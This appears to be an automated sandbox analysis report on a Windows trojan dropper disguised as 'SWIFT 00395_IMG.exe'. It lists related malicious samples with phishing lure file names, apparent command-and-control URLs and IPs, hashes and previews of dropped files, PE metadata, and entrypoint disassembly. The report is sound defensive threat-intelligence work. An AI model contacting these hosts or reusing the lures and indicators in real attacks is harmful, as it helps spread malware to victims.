                                                                                  Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                  Number of analysed new started processes analysed:18
                                                                                  Number of new started drivers analysed:0
                                                                                  Number of existing processes analysed:0
                                                                                  Number of existing drivers analysed:0
                                                                                  Number of injected processes analysed:1
                                                                                  Technologies:
                                                                                  • HCA enabled
                                                                                  • EGA enabled
                                                                                  • HDC enabled
                                                                                  • AMSI enabled
                                                                                  Analysis Mode:default
                                                                                  Analysis stop reason:Timeout
                                                                                  Detection:MAL
                                                                                  Classification:mal100.troj.evad.winEXE@7/4@14/9
                                                                                  EGA Information:Failed
                                                                                  HDC Information:
                                                                                  • Successful, ratio: 67% (good quality ratio 62.1%)
                                                                                  • Quality average: 73%
                                                                                  • Quality standard deviation: 30.9%
                                                                                  HCA Information:
                                                                                  • Successful, ratio: 87%
                                                                                  • Number of executed functions: 97
                                                                                  • Number of non-executed functions: 59
                                                                                  Cookbook Comments:
                                                                                  • Adjust boot time
                                                                                  • Enable AMSI
                                                                                  • Found application associated with file extension: .exe

                                                                                  Simulations

                                                                                  Behavior and APIs

                                                                                  No simulations

                                                                                  Joe Sandbox View / Context

                                                                                  IPs

                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                  85.233.160.23y6f8O0kbEB.exeGet hashmaliciousBrowse
                                                                                  • www.eskisla.com/oerg/?mHLD_0=s/hGu2B6hl0Ive+scMzGgKbk8tIwgl0Rtv0RwZscmr+2Xu+CCcDDIY4Cprz1VF0wnvXW&ndndnZ=UtWlYrO0rhjH
                                                                                  Proforma Invoice 2.xlsxGet hashmaliciousBrowse
                                                                                  • www.infinapisoft.com/aqu2/?TN6=j0G8YDS8B&Afs41Vl=SveQ6QzKZGjvfzE2aIovIxfrG5axgatZLqXsvY6ElwpmK3TkDnNFzO3WVo1zDOPNE3GNTQ==
                                                                                  9tRIEZUd1j.exeGet hashmaliciousBrowse
                                                                                  • www.infinapisoft.com/aqu2/?_P=2dhtaH9&5j=SveQ6QzPZBjrfjI6YIovIxfrG5axgatZLqP8zbmFhQpnKG/iE3cJlKPUWNZPYu7+L2T9
                                                                                  FeDex Shipment Confirmation.exeGet hashmaliciousBrowse
                                                                                  • www.lowculturebeers.co.uk/09rb/?P6A=a8nAidaK9TJ+JqU5iIvYcxY00BUijQtfTh7LhL1cpCu0QxSO9nyRkbIFNX6LTKcVnvzQ&JBZLXP=DxlDfVnX6PNt-
                                                                                  ORDER pdf.exeGet hashmaliciousBrowse
                                                                                  • www.buntingfordhomeservices.com/bft/?XPJpf42X=f5tk7Lxag5CLWO4RCQVaP0E1IDjMM+pF7UMsRsW7VCPC2TCP22D4rmMidEMbKzaLTwV2&VPJX5=lhiLK6WhMr6dtlM
                                                                                  PO 213409701.xlsxGet hashmaliciousBrowse
                                                                                  • www.eatrestmoverepeat.co.uk/oean/?rFQt=A+AFBasJ/lxRQWs5UZxbMpPFG/cLoTmNJj4sZFPT/Yc2+TZPJK0EOBuGXtLbeg6GlFzFjg==&rF=9rbPKz
                                                                                  Sf6jgQc6Ww.exeGet hashmaliciousBrowse
                                                                                  • www.eatrestmoverepeat.co.uk/oean/?DvjTU=A+AFBasM/ixVQGg1WZxbMpPFG/cLoTmNJjg8FGTS74c3+i1JOalIYFWEUInNaw+1uGu1&5j=UjPt
                                                                                  winlog(1).exeGet hashmaliciousBrowse
                                                                                  • www.eatrestmoverepeat.co.uk/oean/?8pNhXv=yVML0zB0&u4XpH=A+AFBasM/ixVQGg1WZxbMpPFG/cLoTmNJjg8FGTS74c3+i1JOalIYFWEULLdGBiOpzHk6ey24A==
                                                                                  cGLVytu1ps.exeGet hashmaliciousBrowse
                                                                                  • www.eatrestmoverepeat.co.uk/oean/?DxoHn=2dmDC&-Z_PiP=A+AFBasM/ixVQGg1WZxbMpPFG/cLoTmNJjg8FGTS74c3+i1JOalIYFWEULHdVRuNwjHy
                                                                                  Order Specifications With Ref Breve#T0876B96.exeGet hashmaliciousBrowse
                                                                                  • www.emerald-creative.co.uk/utau/?DXOX-=mUfmQ6dgC1TfPDaIPFOqhhWzohFFze25ujieNuse+fhnksBh5UPTOd/5ZkOnK2uZRQlL&KtxD=ZR-DOT9pJ
                                                                                  PRODUCT INQUIRY BNQ1.xlsxGet hashmaliciousBrowse
                                                                                  • www.myuniadmin.co.uk/coz3/?RFN4=mVCogv0lfqD1YE+JclVxIwUwbrsLU7brimf8y5jVBcRJDv3Y77FFfIUCxU7swbS9hKbdxQ==&RB=NL00JzKhBv9HkNRp
                                                                                  1Vq5FOYAA0fSEnk.exeGet hashmaliciousBrowse
                                                                                  • www.ladyofluggage.com/cpi/?uZf0j=NXExT&K2Mtv0=vbadVd7SBP+sjDp/Kj6QTegEbSYat145gIMQ4xYXd7bPrhaxLNSmD4IARGP/TtKxDCle
                                                                                  SKM120945.exeGet hashmaliciousBrowse
                                                                                  • www.thebestcoffeeshops.com/xnc/?Kzu0O=oezECPP4/gFFvqJP18hWpnq9aK/CHJNcAaZFW6FR4Ti1ZgL8v6RHnVEykOI6qeM2xauf&jBd=wXL0MF2PPJDlG
                                                                                  tVD3XahjScxfGmz.exeGet hashmaliciousBrowse
                                                                                  • www.cacaoboy.net/k8b/
                                                                                  L7QK2rAwZ9.docGet hashmaliciousBrowse
                                                                                  • www.elitecretenorthwest.com/sree/premium/?id=TZuNNlgMZl9Yks5lYLLXkoTgQh2vybWx8VuZUuU4FTKWAjxE2sV5FvPhIeIe95gp6PkDjnAj3u5B05TasFOHGQ==
                                                                                  184.168.131.2414GGwmv0AJm.exeGet hashmaliciousBrowse
                                                                                  • www.politicalnobody.com/.q0os/?action=fbgen&v=110&crc=669
                                                                                  don.exeGet hashmaliciousBrowse
                                                                                  • www.montcoimmigrationlawyer.com/uoe8/?Y4plXns=DVW7OxuTiipzhEotDzIJzGfsiMq3vXOqW3PM8kZWjghPJAmdu1p3BOMI8OM6bfwnU86n&BR=cjlpd
                                                                                  Comand#U0103 de achizi#U021bie PP050321.exeGet hashmaliciousBrowse
                                                                                  • www.shoprodeovegas.com/xcl/?DVodV=VtxhA2oX1n1prL&aRm4ZbJP=Q4feKhQOcUvJUP8oz4L5oOA8XtI+UFUMw1FgXJ9gQG3EsyP4HUo30rkjHaPboD73BEgI
                                                                                  O1E623TjjW.exeGet hashmaliciousBrowse
                                                                                  • www.mojilifenoosa.com/uoe8/?hL3=CVv7qMV6HbciCWFzqhUZZAQ0US+YdWqRbJ1eYpd5+PQQEEyRiYk8iw/aqidrZZ92WW4b0bAtNQ==&lN68=VTUTzPuXE25p9L
                                                                                  product specification.xlsxGet hashmaliciousBrowse
                                                                                  • www.catherineandwilson.com/uoe8/?3fz=KdZiceDtrkPSh5wICXOYCMhbIwexAutPvfm5ku1h+ZdZhJi6amIzeeuRyyZPsh51ag6xYA==&-Z54yn=EN9puliPkdzp4
                                                                                  9DWvynenEDJ11fY.exeGet hashmaliciousBrowse
                                                                                  • www.presentationmagic.online/hsd/?QFQH4r=1bG8ElMXxJthtncP&qFN41JEh=gbeajf+ETOHEP0PZHUr0sH0pmTI6pJIXyLWb6Ib5oE0X8yNQm9fn6k4Inoesq/tjFe61
                                                                                  PURCHASE ORDER.exeGet hashmaliciousBrowse
                                                                                  • www.xn--demirelik-u3a.com/u8nw/?pPB=jabiRJB0+7MeKC/lblDeYefgEQ6ZikoDt3u4Qwck14FnjpsvvdwaEw6ThFlMbwfIqHdYGe9kyQ==&Hpq=V6AHiBHXhz5LI4
                                                                                  ETC-B72-LT-0149-03-AR.exeGet hashmaliciousBrowse
                                                                                  • www.shoprodeovegas.com/xcl/?0L0tLd=Q4feKhQOcUvJUP8oz4L5oOA8XtI+UFUMw1FgXJ9gQG3EsyP4HUo30rkjHaPboD73BEgI&jFNTjJ=aFNTkJDx
                                                                                  493bfe21_by_Libranalysis.exeGet hashmaliciousBrowse
                                                                                  • www.bodrope.com/8njn/?CTvX=cvRh_lYP&uFNl=Q5lxd4nOV6z6CcdYecjp1LutROUMPU3SQE6azJE1Czw7E14vrt/nRyUCs3zJRvNDQvTm
                                                                                  krJF4BtzSv.exeGet hashmaliciousBrowse
                                                                                  • www.smarthealthubclub.com/oerg/?YL0=8pN4l4&r6A=9BaAtcK5xATnUYN0KSqZEziiqzIuiVppJqo/+bNoUNfJehdCQkqUVzs22u6IBE0AgZIm
                                                                                  MRQUolkoK7.exeGet hashmaliciousBrowse
                                                                                  • www.ottawahomevalues.info/8u3b/?9rwxC4Lh=xUmcyzOk4AdBu/tilHHAKcZZd7JmKNqhEsoN8UKLLkcB2vFqOaieKULrS5S3/+NfkzmCUnU9lg==&o2=iN68aFPHs
                                                                                  PO20210429.xlsxGet hashmaliciousBrowse
                                                                                  • www.abundando.com/8u3b/?Mz=ltx0qfi0x45&WBZXQ8j=VA7b8QnIVeQJLb4vJ/jdAFdrsC+XTLKBbUdPfJTqVxRnd+9E52kRPAdLCgwgRBmqlhQAqg==
                                                                                  z5Wqivscwd.exeGet hashmaliciousBrowse
                                                                                  • www.essential.care/f0sg/?9rQPJl=g9LzgpKuBvImk0kG+GJMLFKZevb+pnBUPQILZLjjt7sgNrDsNlImg91PoYPi1VOUwj/O&EzrtFB=4hL05l3xNH1L
                                                                                  DHL_S390201.exeGet hashmaliciousBrowse
                                                                                  • www.thevandolly.com/u2gd/?Rnm=XPc43lnxP&IDKPY0x=9TQa0wIlBYwfJDwG2Z9hvZYJBv0iycAFxoKvqpGfSPWIdmtTiS4MQ+I/8YKrwePIIqW4
                                                                                  SWIFT COPY.exeGet hashmaliciousBrowse
                                                                                  • www.brad-caroline.com/gnf/?LZhxv=apOpNte8alFpO6vP&7nE4Zlw=g15J7GGOuse5iUv+r/h5g/mBWked130OqUrJnFmD3Jgb0UMGkh9+WkxhJWheCXb3PGqf
                                                                                  AL-IEDAHINV.No09876543.exeGet hashmaliciousBrowse
                                                                                  • www.ssssummit.com/uv34/?gjKTUx=6lchmDL0&rnKTobm=WMQTG0rumw6bKas1ntyyM+QsxkhHxu1ZUcBmNY6ij7cyCWSVhqmkPYQs9C/7EVYcnBE0
                                                                                  letterhead.exeGet hashmaliciousBrowse
                                                                                  • www.accidentattorneynearme.net/epms/?x4uDfZgH=njiKImUeNemx2H2C1bki9Spb1pz8bRxtrDi2F8yKp6wD2n21irAidQ0QvvZYOXwohy7E&Cj30v=9rJhur7HoF7lOxC
                                                                                  Updated April SOA.xlsxGet hashmaliciousBrowse
                                                                                  • www.bookbeachchairs.com/hx3a/?BDH=EBC1Cs7p3SY2xjAhEgLKPc+2rIVZ9PU/AWUwkk97HGSV6MybJ9/jFRm9oMKT03OILBUCjg==&SH6=u2JtglFH
                                                                                  PO522-100500.xlsxGet hashmaliciousBrowse
                                                                                  • www.gosunnydale.com/g050/?d488QFPX=o2gTQ9OSopF0Rpofc5ko6zANYJWIJ/VufnZrGO9o/pAUuoJbu+eBnU7CK63iv20XZ5Q9uw==&i4bD=-Z54yn
                                                                                  Wire transfer.exeGet hashmaliciousBrowse
                                                                                  • www.venturebea.com/ca84/?BvI=unmOgxyJ1BFNIHnKwwMg5+A3rIagxVpl6G2oZccoSDxWy3gla+RP+UItPWr1Abgpg1Yw&J690D=ej8PjzaXfDt

                                                                                  Domains

                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                  fwd3.hosts.co.ukkrJF4BtzSv.exeGet hashmaliciousBrowse
                                                                                  • 85.233.160.24
                                                                                  y6f8O0kbEB.exeGet hashmaliciousBrowse
                                                                                  • 85.233.160.23
                                                                                  S3d02jGrQo.exeGet hashmaliciousBrowse
                                                                                  • 85.233.160.22
                                                                                  9JFrEPf5w7.exeGet hashmaliciousBrowse
                                                                                  • 85.233.160.24
                                                                                  Proforma Invoice 2.xlsxGet hashmaliciousBrowse
                                                                                  • 85.233.160.23
                                                                                  9tRIEZUd1j.exeGet hashmaliciousBrowse
                                                                                  • 85.233.160.23
                                                                                  Y79FTQtEqG.exeGet hashmaliciousBrowse
                                                                                  • 85.233.160.22
                                                                                  FeDex Shipment Confirmation.exeGet hashmaliciousBrowse
                                                                                  • 85.233.160.23
                                                                                  LElwKuxT4D.exeGet hashmaliciousBrowse
                                                                                  • 85.233.160.22
                                                                                  Shipment Document BL,INV and packing list.exeGet hashmaliciousBrowse
                                                                                  • 85.233.160.23
                                                                                  Purchase Order pdf.exeGet hashmaliciousBrowse
                                                                                  • 85.233.160.22
                                                                                  ORDER pdf.exeGet hashmaliciousBrowse
                                                                                  • 85.233.160.23
                                                                                  Scan-PI497110_pdf.gz.exeGet hashmaliciousBrowse
                                                                                  • 85.233.160.22
                                                                                  PO 213409701.xlsxGet hashmaliciousBrowse
                                                                                  • 85.233.160.23
                                                                                  PROFOMA INVOICE pdf.exeGet hashmaliciousBrowse
                                                                                  • 85.233.160.22
                                                                                  Sf6jgQc6Ww.exeGet hashmaliciousBrowse
                                                                                  • 85.233.160.23
                                                                                  winlog(1).exeGet hashmaliciousBrowse
                                                                                  • 85.233.160.23
                                                                                  payment list.xlsxGet hashmaliciousBrowse
                                                                                  • 85.233.160.22
                                                                                  cGLVytu1ps.exeGet hashmaliciousBrowse
                                                                                  • 85.233.160.23
                                                                                  Arrival notice.xlsxGet hashmaliciousBrowse
                                                                                  • 85.233.160.22
                                                                                  dns.sxl.cnOrder requirements.exeGet hashmaliciousBrowse
                                                                                  • 39.106.147.78
                                                                                  SLIP.exeGet hashmaliciousBrowse
                                                                                  • 47.93.15.55

                                                                                  ASN

                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                  AMAZON-02USjH70i5mxJO.exeGet hashmaliciousBrowse
                                                                                  • 54.188.107.146
                                                                                  3ZtdRsbjxo.exeGet hashmaliciousBrowse
                                                                                  • 104.192.141.1
                                                                                  Documents_111651917_375818984.xlsGet hashmaliciousBrowse
                                                                                  • 18.222.240.99
                                                                                  4GGwmv0AJm.exeGet hashmaliciousBrowse
                                                                                  • 52.32.122.68
                                                                                  c647b2da_by_Libranalysis.exeGet hashmaliciousBrowse
                                                                                  • 54.72.3.133
                                                                                  #U260e#Ufe0fAUDIO-2020-05-26-18-51-m4a_MP4messages_2202-434.htmGet hashmaliciousBrowse
                                                                                  • 143.204.98.42
                                                                                  Documents_95326461_1831689059.xlsGet hashmaliciousBrowse
                                                                                  • 3.134.106.170
                                                                                  0d69e4f6_by_Libranalysis.xlsGet hashmaliciousBrowse
                                                                                  • 99.83.154.118
                                                                                  d630fc19_by_Libranalysis.xlsxGet hashmaliciousBrowse
                                                                                  • 52.219.40.51
                                                                                  presupuesto.xlsxGet hashmaliciousBrowse
                                                                                  • 143.204.202.49
                                                                                  Comand#U0103 de achizi#U021bie PP050321.exeGet hashmaliciousBrowse
                                                                                  • 3.34.241.29
                                                                                  O1E623TjjW.exeGet hashmaliciousBrowse
                                                                                  • 52.52.155.86
                                                                                  file.exeGet hashmaliciousBrowse
                                                                                  • 52.15.160.167
                                                                                  PURCHASE ORDER.exeGet hashmaliciousBrowse
                                                                                  • 3.14.18.91
                                                                                  80896e11_by_Libranalysis.exeGet hashmaliciousBrowse
                                                                                  • 3.141.142.211
                                                                                  QxnqOxC0qE.exeGet hashmaliciousBrowse
                                                                                  • 52.14.161.64
                                                                                  ETC-B72-LT-0149-03-AR.exeGet hashmaliciousBrowse
                                                                                  • 3.34.241.29
                                                                                  DocNo2300058329.doc__.rtfGet hashmaliciousBrowse
                                                                                  • 99.86.2.5
                                                                                  nT7K5GG5kmGet hashmaliciousBrowse
                                                                                  • 35.155.184.95
                                                                                  Bill Of Lading & Packing List.pdf.gz.exeGet hashmaliciousBrowse
                                                                                  • 99.83.224.11
                                                                                  DXTL-HKDXTLTseungKwanOServiceHK6e139f3d_by_Libranalysis.exeGet hashmaliciousBrowse
                                                                                  • 154.86.216.242
                                                                                  Comand#U0103 de achizi#U021bie PP050321.exeGet hashmaliciousBrowse
                                                                                  • 45.197.75.9
                                                                                  O1E623TjjW.exeGet hashmaliciousBrowse
                                                                                  • 156.239.92.159
                                                                                  shipping document pdf.exeGet hashmaliciousBrowse
                                                                                  • 156.238.108.93
                                                                                  91365ef0_by_Libranalysis.exeGet hashmaliciousBrowse
                                                                                  • 154.80.150.90
                                                                                  INV 57474545.docGet hashmaliciousBrowse
                                                                                  • 154.86.204.238
                                                                                  lBXZjiCuW0.exeGet hashmaliciousBrowse
                                                                                  • 45.192.65.143
                                                                                  DHL_S390201.exeGet hashmaliciousBrowse
                                                                                  • 45.194.219.231
                                                                                  DRAFT SHIPPING DOCUMENTS.xlsxGet hashmaliciousBrowse
                                                                                  • 154.84.125.40
                                                                                  Bank Details Pdf.exeGet hashmaliciousBrowse
                                                                                  • 154.95.188.245
                                                                                  Wire transfer.exeGet hashmaliciousBrowse
                                                                                  • 156.235.238.98
                                                                                  DHL Express Service.exeGet hashmaliciousBrowse
                                                                                  • 154.86.241.165
                                                                                  mC9LnX9aGE.exeGet hashmaliciousBrowse
                                                                                  • 156.235.173.59
                                                                                  YL9pkVukHn.exeGet hashmaliciousBrowse
                                                                                  • 156.238.104.172
                                                                                  scan_DHL39382493.exeGet hashmaliciousBrowse
                                                                                  • 45.194.219.231
                                                                                  Purchase Order SC_695853.xlsxGet hashmaliciousBrowse
                                                                                  • 154.93.149.202
                                                                                  P Order pdf.exeGet hashmaliciousBrowse
                                                                                  • 154.84.83.13
                                                                                  Duqm Refinery Project RFQ Electromechanical Works.exeGet hashmaliciousBrowse
                                                                                  • 154.214.191.38
                                                                                  Hunt Oil Middle East-RFQ.pdf (439K).exeGet hashmaliciousBrowse
                                                                                  • 156.235.211.165
                                                                                  pending orders0308 D2101002610 pdf.exeGet hashmaliciousBrowse
                                                                                  • 45.192.65.136

                                                                                  JA3 Fingerprints

                                                                                  No context

                                                                                  Dropped Files

                                                                                  No context

                                                                                  Created / dropped Files

                                                                                  C:\Users\user\AppData\Local\Temp\jckq5d4hbdkbi4n7hsr
                                                                                  Process:C:\Users\user\Desktop\SWIFT 00395_IMG.exe
                                                                                  File Type:data
                                                                                  Category:dropped
                                                                                  Size (bytes):164352
                                                                                  Entropy (8bit):7.998850136141567
                                                                                  Encrypted:true
                                                                                  SSDEEP:3072:9cRJf4qgmhZQjsopQe7Y0/1LV1RcUO0Jz10FqdJq3CZnTXC:9cRJf4qPvQjsnlw1eUO0JfqSNC
                                                                                  MD5:15CC53488B015D163FB7808642F0A958
                                                                                  SHA1:241D3F4B3A4DBAE6783412C331BFE79B1220CD50
                                                                                  SHA-256:6E500AA94D17CBB6F903CF22A47C6059AD36B5015DE9BA07941CE02B3A264E6F
                                                                                  SHA-512:58CC7FB1EF3BD519426A0B08FD40549CFAC16741F964ED7FD9949905912E4F5451C449C40B74B8B3591BE0013CF05A58AF1FFFC369AA0E672DDFDD5D86F54BD1
                                                                                  Malicious:false
                                                                                  Reputation:low
                                                                                  Preview: .n...H.[..c>.H.H..fjez/.}..T8....o..g%........s.Kt....;w.w7...Z....'.....Z...Q.$...e.....id.#.........a..h..nW...*|.R.9.-.'dXiJk.Q@`E8W...=r>...i..B.M...5.p....M.Nl...,.j().[.....V"...1.@U/1'R922.m....@n....!Pw.G./.s}1^."N..{.w......N..u..U....3....w.M..9 .+.>qc.QhU...........E...elOAU.^....1`yG\..Z..iM.c..b..'..lq].lo1.}.\.o.y........\.i.l.&B..^.>V.$..H..$B$@...fl.v.K..:.%m5..g...{.p`.Ovx...`....>#.H...+!....\.3.C...P>....B....m.F..=....E.)"\C_.`......l........c..D.'.3.l.V=.-.]..2.......E...i.&...&.....]S.....=.U>9g.pA&6..!U...sO...G.C....F...-.3.....(VR.0h3...;..X$p...J......]..qt.r...D.51..5.Kd...7...\...6.B].....L.{-....@..p.k>..09f..20.%~.E.u..J...)ee....Wl.g...."...v..s..e0.e...m.[.e.m...yuDX-F.r.......H7X.W.D...".Q....U.qU_p.,k.Ry..(.K...e..q.7.q.h.x.w..I>..*]1..0..Z.~/..k.:...VN.....7.}!"Lo...m\.f.....<.....@.,At...3..I.f...;..&a.3....(...f...'..l/p.4.....0..c.?.CT.....=......M.\...J...f\...wf..-..{..f&.[.j/N.T}....a..7&0..2..
                                                                                  C:\Users\user\AppData\Local\Temp\nspD9BF.tmp\3bypcf8qb.dll
                                                                                  Process:C:\Users\user\Desktop\SWIFT 00395_IMG.exe
                                                                                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                  Category:dropped
                                                                                  Size (bytes):6144
                                                                                  Entropy (8bit):4.535126333114688
                                                                                  Encrypted:false
                                                                                  SSDEEP:96:/Sn1ASknNDZ+ttKm2VDagwNLJ2L8ipKvrD3Q:/FKuaged2LKjD3
                                                                                  MD5:71D2D0B499C40F82A6CDD1ECDC4DF303
                                                                                  SHA1:AE42E7A68B3AFFC5F56238FC46FB2FAAAD75B890
                                                                                  SHA-256:0C3C61BA24BB070C77191B1134E337148EA90E9814083FFB84EDF58EE497A2EF
                                                                                  SHA-512:C64E28CA27D98E99E1132F59AA2BC8141CD49AB6ECE0B9BF0539ECA059EEF962923A4890355482F1D22AA5902FF4CEFF0DA6DC3737A10A9050DDA582CDBFF67E
                                                                                  Malicious:false
                                                                                  Reputation:low
                                                                                  Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................sA.............................Rich...........................PE..L...-.`...........!......................... ...............................@.......................................!..P....#.......................................!..............................0!..@............ ...............................text...O........................... ..`.rdata....... ......................@..@.data...D....0......................@...........................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                  C:\Users\user\AppData\Local\Temp\nsuD98F.tmp
                                                                                  Process:C:\Users\user\Desktop\SWIFT 00395_IMG.exe
                                                                                  File Type:data
                                                                                  Category:dropped
                                                                                  Size (bytes):181314
                                                                                  Entropy (8bit):7.939924904585081
                                                                                  Encrypted:false
                                                                                  SSDEEP:3072:QVl6cRJf4qgmhZQjsopQe7Y0/1LV1RcUO0Jz10FqdJq3CZnTX:QVocRJf4qPvQjsnlw1eUO0JfqSN
                                                                                  MD5:EC467E63A6C53D106AE28D0E5630276F
                                                                                  SHA1:B278A9CD1CF6C0BEF644B81DC939AD64EF7F930F
                                                                                  SHA-256:3DFC9C64A13A26D570BF2B769887E300EF0957250AF59429DC5D299AC9457682
                                                                                  SHA-512:40BFA3B9997849A7DEFD335D1698FF886FB5A1982F6B5F8CD5075C431AAADC8B1102F18330B4220EB5377B34B65C4135DB7CC5E07A8FB3E43BCF48423643B645
                                                                                  Malicious:false
                                                                                  Reputation:low
                                                                                  Preview: -.......,...............................G.......-...........................................................................................................................................................................................................................................J...............#...g...............................................................j.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                  C:\Users\user\AppData\Local\Temp\u2xvckwaqaki
                                                                                  Process:C:\Users\user\Desktop\SWIFT 00395_IMG.exe
                                                                                  File Type:data
                                                                                  Category:dropped
                                                                                  Size (bytes):7173
                                                                                  Entropy (8bit):7.9199322165414365
                                                                                  Encrypted:false
                                                                                  SSDEEP:192:8Gru/yCDPvVStacIgOVBl3Wd6D/VMFtpNiuT:hu64vgacIgGGtN7T
                                                                                  MD5:E7ED75D329D3408CAF4BEACA7A5A33CE
                                                                                  SHA1:42AAA9974E8D2840B3DFB31C0247D64D42F2F63A
                                                                                  SHA-256:553FB898A08BE847845D40293E8A680BE663F537E5A457ED26127D758F02FCD4
                                                                                  SHA-512:CD87BE0F0E4BC3C05EF8F52E6E59BD240070DC9E494138FCEFA5A09D855306B213045A7673947FF7C9E3F63030E697007E7C3D4C332882912DE52CD2C961B6BC
                                                                                  Malicious:false
                                                                                  Reputation:low
                                                                                  Preview: ..'.Dy...1T..nub.Nj.f....[.r....2...#......T.Kr.]3D=Z$..q.5.Lf;D,.%..].U3.Yi.3......{].k..k./-....T2....2.M......a>...k/....m-tR0h..C...!....l.......6...ntR0.D..B .!......qOM..?t>..z.tR0x_.R.*!...|.....F.$..{Y0....S1k!..%"..~_...NmO)..C{Y7{D.B... ..*.o......Z7...{Y7.j..C!. ...p..nLK..>@?..{.{Y7k..E.& ..........aG.%..zX7....P&y.1.e...X.w....[(... .!...&lkIMj.4.K~.0...~a.v.....).G.U..i...u.30..C....^.0/1..-...i]\.7.X..0....p(......9.W....h....X80......^.C.B..=*..hl..G.h..7..).`.w.....*.D.s..h.S.r..Y7......N.....nL...>.?.....p......i.C.`.:.T....l..d.]>.P.7v...e......A.4.2.X....G.fzY.U...=..uc......eC;....-u4..e.\?.X.....h).N.eC.X..W..4....d...#.........eCK..%.:.4..t.mN.hc.. .x9..dB...d.93...uu....q.`!k..d....fs.....dI<........7......# ...f#U3..2.j%...v.MY...qp.D..5....7*K^...._....bX7..h.&.Is....4.\....uP...k.....XPI'.....|R....E....$.n4.....'....tk......JS...W..4..{.)|%0~...r.S1l..ej:( .(.M.....%.L*..}=..8.|.=.

                                                                                  Static File Info

                                                                                  General

                                                                                  File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                                                  Entropy (8bit):0.2707697706007375
                                                                                  TrID:
                                                                                  • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                  • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                  • DOS Executable Generic (2002/1) 0.02%
                                                                                  • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                  File name:SWIFT 00395_IMG.exe
                                                                                  File size:14050919
                                                                                  MD5:f19e6012ff248b9b380bb420080258ce
                                                                                  SHA1:317ee43a8116aae39f3de3279620ecff4ac05b2c
                                                                                  SHA256:069a900aaa6ab5e4b9279cf5bd47e7123c37787f87ac58d6e64383685371ba52
                                                                                  SHA512:ad555d5a6bbd753825fba4a4665b4774d88f4011f3c7c6a2c0084fd40e59d66d2880b4a390cc8a172e51b67f8198d0fa481a981c916025f1642ace15c5ab1cdf
                                                                                  SSDEEP:6144:2PXF9XW/sQjFKjwpmGyt/4RQiTf9d03rFxJn:EXGj/wGywQiD03v
                                                                                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1)..PG..PG..PG.*_...PG..PF.IPG.*_...PG..sw..PG..VA..PG.Rich.PG.........PE..L.....$_.................d..........a4............@

                                                                                  File Icon

                                                                                  Icon Hash:00848ebcc9a1a1a8

                                                                                  Static PE Info

                                                                                  General

                                                                                  Entrypoint:0x403461
                                                                                  Entrypoint Section:.text
                                                                                  Digitally signed:false
                                                                                  Imagebase:0x400000
                                                                                  Subsystem:windows gui
                                                                                  Image File Characteristics:LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
                                                                                  DLL Characteristics:NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                                                                                  Time Stamp:0x5F24D6E4 [Sat Aug 1 02:43:48 2020 UTC]
                                                                                  TLS Callbacks:
                                                                                  CLR (.Net) Version:
                                                                                  OS Version Major:4
                                                                                  OS Version Minor:0
                                                                                  File Version Major:4
                                                                                  File Version Minor:0
                                                                                  Subsystem Version Major:4
                                                                                  Subsystem Version Minor:0
                                                                                  Import Hash:ea4e67a31ace1a72683a99b80cf37830

                                                                                  Entrypoint Preview

                                                                                  Instruction
                                                                                  sub esp, 00000184h
                                                                                  push ebx
                                                                                  push esi
                                                                                  push edi
                                                                                  xor ebx, ebx
                                                                                  push 00008001h
                                                                                  mov dword ptr [esp+18h], ebx
                                                                                  mov dword ptr [esp+10h], 0040A130h
                                                                                  mov dword ptr [esp+20h], ebx
                                                                                  mov byte ptr [esp+14h], 00000020h
                                                                                  call dword ptr [004080B0h]
                                                                                  call dword ptr [004080C0h]
                                                                                  and eax, BFFFFFFFh
                                                                                  cmp ax, 00000006h
                                                                                  mov dword ptr [0042474Ch], eax
                                                                                  je 00007F5C1CA85983h
                                                                                  push ebx
                                                                                  call 00007F5C1CA88AFEh
                                                                                  cmp eax, ebx
                                                                                  je 00007F5C1CA85979h
                                                                                  push 00000C00h
                                                                                  call eax
                                                                                  mov esi, 004082A0h
                                                                                  push esi
                                                                                  call 00007F5C1CA88A7Ah
                                                                                  push esi
                                                                                  call dword ptr [004080B8h]
                                                                                  lea esi, dword ptr [esi+eax+01h]
                                                                                  cmp byte ptr [esi], bl
                                                                                  jne 00007F5C1CA8595Dh
                                                                                  push 0000000Bh
                                                                                  call 00007F5C1CA88AD2h
                                                                                  push 00000009h
                                                                                  call 00007F5C1CA88ACBh
                                                                                  push 00000007h
                                                                                  mov dword ptr [00424744h], eax
                                                                                  call 00007F5C1CA88ABFh
                                                                                  cmp eax, ebx
                                                                                  je 00007F5C1CA85981h
                                                                                  push 0000001Eh
                                                                                  call eax
                                                                                  test eax, eax
                                                                                  je 00007F5C1CA85979h
                                                                                  or byte ptr [0042474Fh], 00000040h
                                                                                  push ebp
                                                                                  call dword ptr [00408038h]
                                                                                  push ebx
                                                                                  call dword ptr [00408288h]
                                                                                  mov dword ptr [00424818h], eax
                                                                                  push ebx
                                                                                  lea eax, dword ptr [esp+38h]
                                                                                  push 00000160h
                                                                                  push eax
                                                                                  push ebx
                                                                                  push 0041FD10h
                                                                                  call dword ptr [0040816Ch]
                                                                                  push 0040A1ECh

                                                                                  Rich Headers

                                                                                  Programming Language:
                                                                                  • [EXP] VC++ 6.0 SP5 build 8804

                                                                                  Data Directories

                                                                                  NameVirtual AddressVirtual Size Is in Section
                                                                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                  IMAGE_DIRECTORY_ENTRY_IMPORT0x84380xa0.rdata
